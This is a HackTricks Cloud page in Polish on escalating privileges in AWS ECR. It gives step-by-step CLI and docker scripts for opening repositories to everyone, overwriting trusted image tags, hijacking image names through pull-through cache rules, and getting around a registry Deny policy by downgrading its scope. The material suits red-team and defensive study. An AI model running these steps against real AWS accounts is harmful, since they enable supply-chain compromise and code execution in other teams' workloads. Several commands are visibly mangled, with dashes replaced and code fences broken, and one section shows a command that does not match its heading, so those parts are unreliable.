AWS - ECR Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
ECR
ecr:GetAuthorizationToken,ecr:BatchGetImage
Atakujący posiadający ecr:GetAuthorizationToken i ecr:BatchGetImage może zalogować się do ECR i pobrać obrazy.
For more info on how to download images:
Potencjalny wpływ: Pośredni privesc przez przechwycenie wrażliwych informacji w ruchu.
ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart
Atakujący posiadający wszystkie te uprawnienia może zalogować się do ECR i przesyłać obrazy. Może to być użyteczne do eskalacji uprawnień w innych środowiskach, gdzie te obrazy są używane.
Dodatkowo, ecr:PutImage może być użyte do nadpisania istniejącego tagu (na przykład stable / prod) przez przesłanie innego manifestu obrazu pod tym tagiem, efektywnie przejmując wdrożenia oparte na tagach.
Jest to szczególnie istotne, gdy konsumenci downstream wdrażają obrazy według tagu i automatycznie odświeżają się po zmianie tagu, takie jak:
- Lambda container image functions (
PackageType=Image) odwołujące się do.../repo:stable - ECS services / Kubernetes workloads pobierające
repo:prod(bez przypięcia digestu) - Dowolne CI/CD, które ponownie wdraża na podstawie zdarzeń ECR
W takich przypadkach nadpisanie tagu może prowadzić do remote code execution w środowisku konsumenta oraz privilege escalation do roli IAM używanej przez ten workload (na przykład roli wykonawczej Lambda z secretsmanager:GetSecretValue).
Aby dowiedzieć się, jak przesłać nowy obraz / zaktualizować istniejący, sprawdź:
ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart
Jak w poprzedniej sekcji, ale dla publicznych repozytoriów.
ecr:SetRepositoryPolicy
Atakujący z tym uprawnieniem może zmienić politykę repozytorium, aby przyznać sobie (lub nawet wszystkim) dostęp do odczytu/zapisu.
Na przykład, w poniższym przykładzie dostęp do odczytu jest przyznany wszystkim.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Zawartość my-policy.json:
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
ecr-public:SetRepositoryPolicy
Jak w poprzedniej sekcji, ale dla repozytoriów publicznych.
Atakujący może zmodyfikować politykę repozytorium ECR Public, aby przyznać nieautoryzowany dostęp publiczny lub eskalować swoje uprawnienia.
# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
Potencjalny wpływ: Nieautoryzowany publiczny dostęp do repozytorium ECR Public, umożliwiający każdemu użytkownikowi push, pull lub usuwanie obrazów.
ecr:PutRegistryPolicy
Atakujący z tym uprawnieniem mógłby zmienić politykę rejestru, aby przyznać sobie, swojemu kontu (a nawet wszystkim) dostęp do odczytu/zapisu.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
ecr:CreatePullThroughCacheRule
Wykorzystaj reguły ECR Pull Through Cache (PTC) do zmapowania upstream namespace kontrolowanego przez atakującego na zaufany prywatny prefiks ECR. Dzięki temu workloads pobierające z prywatnego ECR będą transparentnie otrzymywać obrazy atakującego bez potrzeby pushowania do prywatnego ECR.
- Wymagane uprawnienia: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo.
- Testowane upstream: public.ecr.aws
Kroki (przykład):
- Przygotuj obraz kontrolowany przez atakującego w ECR Public
Get your ECR Public alias with: aws ecr-public describe-registries –region us-east-1
docker login public.ecr.aws/<public_alias> docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
-
Utwórz regułę PTC w prywatnym ECR, aby zmapować zaufany prefiks na rejestr publiczny aws ecr create-pull-through-cache-rule –region us-east-2 –ecr-repository-prefix ptc –upstream-registry-url public.ecr.aws
-
Pobierz obraz atakującego przez ścieżkę prywatnego ECR (nie wykonano push do prywatnego ECR) docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test docker run –rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
Potential Impact: Kompromitacja łańcucha dostaw przez przejęcie wewnętrznych nazw obrazów pod wybranym prefiksem. Każdy workload pobierający obrazy z prywatnego ECR używając tego prefiksu otrzyma zawartość kontrolowaną przez atakującego.
ecr:PutImageTagMutability
Wykorzystaj to uprawnienie, aby zmienić repozytorium z niezmiennością tagów na mutowalne i nadpisać zaufane tagi (np. latest, stable, prod) zawartością kontrolowaną przez atakującego.
- Wymagane uprawnienia:
ecr:PutImageTagMutabilityplus możliwości push (ecr:GetAuthorizationToken,ecr:InitiateLayerUpload,ecr:UploadLayerPart,ecr:CompleteLayerUpload,ecr:PutImage). - Impact: Supply-chain compromise by silently replacing immutable tags without changing tag names.
Kroki (przykład):
Zatrucie niezmiennego tagu poprzez przełączenie mutowalności
```bash REGION=us-east-1 REPO=ht-immutable-demo-$RANDOM aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE acct=$(aws sts get-caller-identity --query Account --output text) aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com # Build and push initial trusted tag printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Attempt overwrite while IMMUTABLE (should fail) printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Flip to MUTABLE and overwrite aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Validate consumers pulling by tag now get the poisoned image (prints V2) docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod ```Globalne przejęcie rejestru przez regułę ROOT Pull-Through Cache
Utwórz regułę Pull-Through Cache (PTC) używając specjalnego ecrRepositoryPrefix=ROOT, aby zmapować root prywatnego rejestru ECR na upstream publiczny rejestr (np. ECR Public). Każde pull do nieistniejącego repozytorium w prywatnym rejestrze będzie transparentnie serwowane z upstream, umożliwiając supply-chain hijacking bez pushowania do prywatnego ECR.
- Wymagane uprawnienia:
ecr:CreatePullThroughCacheRule,ecr:DescribePullThroughCacheRules,ecr:DeletePullThroughCacheRule,ecr:GetAuthorizationToken. - Skutek: Pulls do
<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>kończą się sukcesem i automatycznie tworzą prywatne repozytoria pochodzące z upstream.
Uwaga: Dla reguł
ROOTpomiń--upstream-repository-prefix. Podanie go spowoduje błąd walidacji.
Demo (us-east-1, upstream public.ecr.aws)
```bash REGION=us-east-1 ACCT=$(aws sts get-caller-identity --query Account --output text)1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
aws ecr create-pull-through-cache-rule
–region “$REGION”
–ecr-repository-prefix ROOT
–upstream-registry-url public.ecr.aws
2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
aws ecr get-login-password –region “$REGION” | docker login –username AWS –password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com
Example using an official mirror path hosted in ECR Public
(public.ecr.aws/docker/library/alpine:latest)
docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest
3) Verify repo and image now exist without any push
aws ecr describe-repositories –region “$REGION”
–query “repositories[?repositoryName==docker/library/alpine]”
aws ecr list-images –region “$REGION” –repository-name docker/library/alpine –filter tagStatus=TAGGED
4) Cleanup
aws ecr delete-pull-through-cache-rule –region “$REGION” –ecr-repository-prefix ROOT aws ecr delete-repository –region “$REGION” –repository-name docker/library/alpine –force || true
</details>
### `ecr:PutAccountSetting` (Obniż `REGISTRY_POLICY_SCOPE`, aby obejść registry policy Deny)
Wykorzystaj `ecr:PutAccountSetting`, aby zmienić zakres registry policy z `V2` (polityka stosowana do wszystkich akcji ECR) na `V1` (polityka stosowana tylko do `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Jeśli restrykcyjny registry policy Deny blokuje akcje takie jak `CreatePullThroughCacheRule`, obniżenie do `V1` usuwa tę blokadę, dzięki czemu identity‑policy Allows zaczynają obowiązywać.
- Wymagane uprawnienia: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- Wpływ: Możliwość wykonania akcji ECR wcześniej blokowanych przez registry policy Deny (np. tworzenie reguł PTC) poprzez tymczasowe ustawienie zakresu na `V1`.
Kroki (przykład):
<details>
<summary>Obejście registry policy Deny dla CreatePullThroughCacheRule przez przełączenie na V1</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)
# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json
# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION
# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi
# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"
# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

